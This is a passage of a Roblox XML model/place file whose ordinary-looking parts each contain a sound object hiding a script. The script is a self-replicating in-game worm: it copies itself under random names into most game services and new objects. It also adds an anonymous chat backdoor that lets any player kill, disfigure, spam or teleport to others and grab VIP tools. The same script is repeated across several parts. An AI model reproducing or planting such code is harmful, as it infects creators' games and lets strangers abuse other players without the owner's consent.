for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX847">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-148</X>
					<Y>47.1999969</Y>
					<Z>-11.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX848">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX849">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX850">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-153</X>
					<Y>50.1999969</Y>
					<Z>-11.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX851">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX852">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
